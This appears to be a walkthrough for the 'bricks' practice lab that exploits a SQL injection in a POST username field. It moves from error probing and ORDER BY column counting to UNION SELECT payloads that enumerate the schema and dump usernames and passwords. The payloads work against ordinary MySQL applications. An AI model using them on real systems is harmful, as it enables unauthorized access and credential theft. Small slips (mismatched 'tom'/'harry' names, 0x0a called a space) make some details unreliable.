URL: bricks/content-3/index.php
POST Data: username=tom&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='tom'
Here, the username parameter is accepting input through the POST data. Change the input value and it will yield different output based on the input given.
POST Data: username=tom'&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='tom''
There is no output on the page but some error messages. That means the username parameter is vulnerable to code injection and the code we inserted just broke the query. The injected code must be put in a manner that it won't break the complete SQL statement. The next step is to inject specially crafted SQL commands to verify the existence of vulnerability.
POST Data: username=tom' and 1='1&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
AND 1='1'
The page is displayed without any errors. This is because the added code is a true statement. What if the added statement was not returning a true condition?
POST Data: username=tom' and 1='2&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
AND 1='2'
Since the injected code contains an always false statement, the web page does not displays any content and is showing an error message saying that user does not exists. This proves that the code injected on to the username parameter is actually getting executed.
The injected code can be further modified to perform more advanced functions including obtaining/removing/changing confidential information. However, at the present stage, there are no clear knowledge about the database, version, tables, columns etc. So, these details has to be enumerated first. Finding the number of columns in the current database is relatively easy task.
POST Data: username=tom' order by 1 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
ORDER BY 1 -- +'
The page displays the content without any issues and there are no error messages.
POST Data: username=tom' order by 2 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
ORDER BY 2 -- +'
The page displays the content without any issues and there are no error messages. So there exists at least two columns.
POST Data: username=tom' order by 3 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
ORDER BY 3 -- +'
The page displays the content without any issues and there are no error messages. So there exists at least three columns.
This process has to be repeated by increasing the value till the page shows some changes in the displayed page.
.
.
.
.
POST Data: username=tom' order by 8 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
ORDER BY 8 -- +'
The page displays the content without any issues and there are no error messages. So there exists at least eight columns.
POST Data: username=tom' order by 9 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
ORDER BY 9 -- +'
This time the pages displays some error, so 9th column does not exists. This confirms that there are only 8 columns.
A union select statement has to be made accordingly to find out the columns which are vulnerable out of the 8 columns.
POST Data: username=harry' UNION SELECT 1,2,3,4,5,6,7,8 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
UNION
SELECT 1,
2,
3,
4,
5,
6,
7,
8 -- +'
This time the page is not showing anything special rather than usual content. This is because the page is showing only the first result since it treats only the first line of the result. If that is the case, the injected code should be modified a little to make only the second line valid. There are many ways to do that.
POST Data: username=harry' UNION SELECT 1,2,3,4,5,6,7,8 limit 1,1 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
UNION
SELECT 1,
2,
3,
4,
5,
6,
7,
8 LIMIT 1,
1 -- '
Now, the page is displaying some numbers instead of the actual user details. These are the corresponding number of columns that are vulnerable.
POST Data: username=harry' UNION SELECT database(),version(),user(),4,5,6,7,8 limit 1,1 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='harry'
UNION
SELECT database(),
version(),
user(),
4,
5,
6,
7,
8 LIMIT 1,
1 -- +'
The number 1 has been replaced by the name of the current database, which is bricks
The number 2 has been replaced by the version of the current database, which is 5.5.9-log
The number 3 has been replaced by the user name of the current database, which is root@localhost
Now, the tables on the current database has to be enumerated.
POST Data: username=tom' UNION SELECT group_concat(table_name,0x0a),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='tom'
UNION
SELECT group_concat(TABLE_NAME,0x0a),
2,
3,
4,
5,
6,
7,
8
FROM information_schema.tables
WHERE table_schema=database() LIMIT 1,
1 -- +'
Since there is only one table in the bricks database, that information is displayed. Next objective is to find out the columns in the users.
POST Data: username=tom' UNION SELECT group_concat(column_name,0x0a),2,3,4,5,6,7,8 from information_schema.columns where table_name='users' LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='tom'
UNION
SELECT group_concat(COLUMN_NAME,0x0a),
2,
3,
4,
5,
6,
7,
8
FROM information_schema.columns
WHERE TABLE_NAME='users' LIMIT 1,
1 -- +'
Since we are making use of group_concat(), all the column names are diplayed on screen. Column names are: idusers, name, email, password, ua, ref, host, lang. The name and password are the most interesting columns. So, the next injected code should be for dumping the data from those columns. 0x0a represents a space and is put there to make is easy to differentiate between the names of columns.
POST Data: username=tom' UNION SELECT group_concat(name,0x0a,password),2,3,4,5,6,7,8 from users LIMIT 1,1 -- +&submit=Submit
SQL Query: SELECT *
FROM users
WHERE name='tom'
UNION
SELECT group_concat(name,0x0a,password),
2,
3,
4,
5,
6,
7,
8
FROM users LIMIT 1,
1 -- +'
This fetches all names and passwords from the users table. 0x0a represents a space and is put there to make is easy to differentiate between the username and password.